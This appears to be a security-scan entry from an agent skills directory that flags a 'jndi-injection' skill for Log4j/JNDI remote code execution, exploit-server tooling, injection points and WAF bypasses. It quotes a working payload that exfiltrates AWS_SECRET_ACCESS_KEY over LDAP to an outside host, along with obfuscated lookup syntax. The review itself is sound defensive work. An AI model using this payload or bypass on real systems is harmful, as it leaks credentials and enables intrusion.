The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill provides detailed instructions and code examples for achieving remote code execution via JNDI lookups using RMI and LDAP. It explains how a JVM can be manipulated to download and instantiate remote Java classes from an external server.
[DATA_EXFILTRATION]: Includes specific payloads designed to exfiltrate system environment variables through out-of-band DNS and LDAP queries. Specifically, it provides a pattern to exfiltrate AWS_SECRET_ACCESS_KEY: ${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}.
[COMMAND_EXECUTION]: Describes the use of multiple external JAR-based exploitation tools including marshalsec.jar, ysoserial.jar, JNDI-Injection-Exploit.jar, and RogueJndi.jar. It provides direct CLI command examples for executing these tools to set up malicious servers.
[INDIRECT_PROMPT_INJECTION]: The skill identifies and details a wide range of injection points (HTTP headers, User-Agent, POST body fields, etc.) where untrusted data can be used to deliver malicious payloads that an agent might process or logs might capture.
[OBFUSCATION]: Documents multiple WAF bypass techniques used to hide malicious JNDI strings from simple pattern-based filters, using Log4j's internal lookup syntax (e.g., ${${lower:j}ndi:...}).

jndi-injection